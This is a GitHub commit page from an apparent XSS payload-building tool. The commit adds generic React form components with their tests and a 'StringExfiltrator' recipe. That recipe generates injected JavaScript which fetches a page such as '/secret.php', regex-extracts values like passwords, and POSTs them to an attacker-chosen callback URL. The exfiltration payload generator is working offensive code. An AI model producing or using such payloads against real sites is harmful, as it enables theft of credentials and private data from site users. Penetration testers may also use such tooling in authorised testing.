Skip to content
This repository has been archived by the owner on Oct 22, 2020. It is now read-only.

Commit

Permalink
Add string exfiltrator recipe
Browse files Browse the repository at this point in the history
  • Loading branch information
rastating committed Jan 19, 2019
1 parent 7959584 commit 9740d88
Show file tree
Hide file tree
Showing 13 changed files with 583 additions and 1 deletion.
38 changes: 38 additions & 0 deletions components/RecipeCheckBox/RecipeCheckBox.jsx
@@ -0,0 +1,38 @@
import React from 'react'

class RecipeCheckBox extends React.Component {
constructor (props) {
super(props)

this.setRecipeProperty = this.setRecipeProperty.bind(this)
}

setRecipeProperty (e) {
this.props.setRecipeProperty(
this.props.instance.id,
this.props.bindTo,
e.target.checked
)
}

render () {
const inputId = `${this.props.instance.id}-${this.props.bindTo}`
return (
<div className="float-left mr-3 form-group form-check">
<input id={`${inputId}`}
type="checkbox"
checked={this.props.instance[this.props.bindTo]}
className="form-check-input"
onChange={this.setRecipeProperty}
/>
<label
className="form-check-label"
htmlFor={`${inputId}`}>
{this.props.label}
</label>
</div>
)
}
}

export default RecipeCheckBox
77 changes: 77 additions & 0 deletions components/RecipeCheckBox/RecipeCheckBox.spec.jsx
@@ -0,0 +1,77 @@
import React from 'react'
import RecipeCheckBox from './RecipeCheckBox'
import { shallow } from 'enzyme'

describe('<RecipeCheckBox />', () => {
const setRecipeProperty = jest.fn()
const instance = {
id: 'instance_id',
dummy: true
}

const createWrapper = () => {
setRecipeProperty.mockReset()

return shallow(
<RecipeCheckBox
instance={instance}
bindTo="dummy"
label="Dummy Label"
setRecipeProperty={setRecipeProperty}
/>
)
}

it('should not render children', () => {
const wrapper = shallow(
<RecipeCheckBox instance={{}}>
<div className="test"></div>
</RecipeCheckBox>
)

expect(wrapper.find('div.test')).toHaveLength(0)
})

it('should render a check box field bound to the specified property', () => {
const wrapper = createWrapper()
const field = wrapper.find('input[type="checkbox"]')
expect(field).toHaveLength(1)
expect(field.props().checked).toBe(true)
})

it('should create a unique ID for the field', () => {
const wrapper = createWrapper()
const field = wrapper.find('input[type="checkbox"]')
expect(field).toHaveLength(1)
expect(field.props().id).toBe('instance_id-dummy')
})

it('should render a label for the field', () => {
const wrapper = createWrapper()
const field = wrapper.find('input[type="checkbox"]')
const label = wrapper.find('label')

expect(label).toHaveLength(1)
expect(label.props().htmlFor).toBe(field.props().id)
expect(label.text()).toBe('Dummy Label')
})

describe('when the input is changed', () => {
it('should invoke `props.setRecipeProperty`', () => {
const wrapper = createWrapper()
const field = wrapper.find('input[type="checkbox"]')

field.simulate('change', {
target: {
checked: true
}
})

expect(setRecipeProperty).toHaveBeenCalledWith(
'instance_id',
'dummy',
true
)
})
})
})
2 changes: 2 additions & 0 deletions components/RecipeCheckBox/index.jsx
@@ -0,0 +1,2 @@
import RecipeCheckBox from './RecipeCheckBox'
export default RecipeCheckBox
6 changes: 6 additions & 0 deletions components/RecipeCheckBox/index.spec.jsx
@@ -0,0 +1,6 @@
import DefaultExport from './'
import RecipeCheckBox from './RecipeCheckBox'

it('should export the RecipeCheckBox class as the default export', () => {
expect(DefaultExport).toBe(RecipeCheckBox)
})
35 changes: 35 additions & 0 deletions components/RecipeTextField/RecipeTextField.jsx
@@ -0,0 +1,35 @@
import React from 'react'

class RecipeTextField extends React.Component {
constructor (props) {
super(props)

this.setRecipeProperty = this.setRecipeProperty.bind(this)
}

setRecipeProperty (e) {
this.props.setRecipeProperty(
this.props.instance.id,
this.props.bindTo,
e.target.value
)
}

render () {
const inputId = `${this.props.instance.id}-${this.props.bindTo}`
return (
<div className="form-group">
<label htmlFor={`${inputId}`}>{this.props.label}</label>
<input id={`${inputId}`}
type="text"
className="form-control"
placeholder={this.props.placeholder}
value={this.props.instance[this.props.bindTo]}
onChange={this.setRecipeProperty}
/>
</div>
)
}
}

export default RecipeTextField
85 changes: 85 additions & 0 deletions components/RecipeTextField/RecipeTextField.spec.jsx
@@ -0,0 +1,85 @@
import React from 'react'
import RecipeTextField from './RecipeTextField'
import { shallow } from 'enzyme'

describe('<RecipeTextField />', () => {
const setRecipeProperty = jest.fn()
const instance = {
id: 'instance_id',
dummy: 'test'
}

const createWrapper = () => {
setRecipeProperty.mockReset()

return shallow(
<RecipeTextField
instance={instance}
bindTo="dummy"
label="Dummy Label"
placeholder="Dummy Placeholder"
setRecipeProperty={setRecipeProperty}
/>
)
}

it('should not render children', () => {
const wrapper = shallow(
<RecipeTextField instance={{}}>
<div className="test"></div>
</RecipeTextField>
)

expect(wrapper.find('div.test')).toHaveLength(0)
})

it('should render a text field bound to the specified property', () => {
const wrapper = createWrapper()
const textField = wrapper.find('input[type="text"]')
expect(textField).toHaveLength(1)
expect(textField.props().value).toBe('test')
})

it('should set the placeholder of the text field', () => {
const wrapper = createWrapper()
const textField = wrapper.find('input[type="text"]')
expect(textField).toHaveLength(1)
expect(textField.props().placeholder).toBe('Dummy Placeholder')
})

it('should create a unique ID for the text field', () => {
const wrapper = createWrapper()
const textField = wrapper.find('input[type="text"]')
expect(textField).toHaveLength(1)
expect(textField.props().id).toBe('instance_id-dummy')
})

it('should render a label for the text field', () => {
const wrapper = createWrapper()
const textField = wrapper.find('input[type="text"]')
const label = wrapper.find('label')

expect(label).toHaveLength(1)
expect(label.props().htmlFor).toBe(textField.props().id)
expect(label.text()).toBe('Dummy Label')
})

describe('when the input is changed', () => {
it('should invoke `props.setRecipeProperty`', () => {
const wrapper = createWrapper()
const textField = wrapper.find('input[type="text"]')

textField.simulate('change', {
target: {
value: 'new value'
}
})

expect(setRecipeProperty).toHaveBeenCalledWith(
'instance_id',
'dummy',
'new value'
)
})
})
})
2 changes: 2 additions & 0 deletions components/RecipeTextField/index.jsx
@@ -0,0 +1,2 @@
import RecipeTextField from './RecipeTextField'
export default RecipeTextField
6 changes: 6 additions & 0 deletions components/RecipeTextField/index.spec.jsx
@@ -0,0 +1,6 @@
import DefaultExport from './'
import RecipeTextField from './RecipeTextField'

it('should export the RecipeTextField class as the default export', () => {
expect(DefaultExport).toBe(RecipeTextField)
})
88 changes: 88 additions & 0 deletions recipes/StringExfiltrator/StringExfiltrator.jsx
@@ -0,0 +1,88 @@
import React from 'react'
import RecipeTextField from '~/components/RecipeTextField'
import RecipeCheckBox from '~/components/RecipeCheckBox'

export function cook (instance, vars) {
const callbackName = `${instance.id}_cb`
const dataName = `${instance.id}_data`

let dataSelection = `var ${dataName} = xhr.response`
if (instance.pattern) {
dataSelection = `var ${dataName} = xhr.response.match(new RegExp('${instance.pattern.replace(/'/g, "\\'")}'))[0]`
}

let callbackBody = `var ${callbackName} = function () { }`
if (instance.waitForResponse) {
callbackBody = `var ${callbackName} = function () { __XSS_CHEF_ENTRY_POINT__ }`
}

const payload = [
`ajaxRequest('GET', '${instance.resource}', undefined, function (xhr) {`,
dataSelection,
callbackBody,
`ajaxRequest('POST', '${instance.callbackUrl}', 'data=' + encodeURIComponent(${dataName}), ${callbackName})`,
`})`,
instance.waitForResponse ? '' : '__XSS_CHEF_ENTRY_POINT__'
].join('\n')

return {
payload: vars.payload.replace(/__XSS_CHEF_ENTRY_POINT__/g, payload)
}
}

export function init () {
return {
callbackUrl: '',
resource: '',
waitForResponse: true
}
}

export function render (instance, setRecipeProperty) {
return (
<div>
<RecipeTextField
bindTo="resource"
instance={instance}
label="Resource"
placeholder="Example: /secret.php"
setRecipeProperty={setRecipeProperty}
/>

<RecipeTextField
bindTo="pattern"
instance={instance}
label="Pattern to Match"
placeholder='Example: password="[a-zA-z0-9]+?"'
setRecipeProperty={setRecipeProperty}
/>

<RecipeTextField
bindTo="callbackUrl"
instance={instance}
label="Callback URL"
placeholder="Example: http://your.domain.com/logData"
setRecipeProperty={setRecipeProperty}
/>

<RecipeCheckBox
bindTo="waitForResponse"
instance={instance}
label="Halt next operation until response is received"
setRecipeProperty={setRecipeProperty}
/>
</div>
)
}

export function validate (instance) {
if (instance.callbackUrl === '') {
return false
}

if (instance.resource === '') {
return false
}

return true
}

0 comments on commit 9740d88

Please sign in to comment.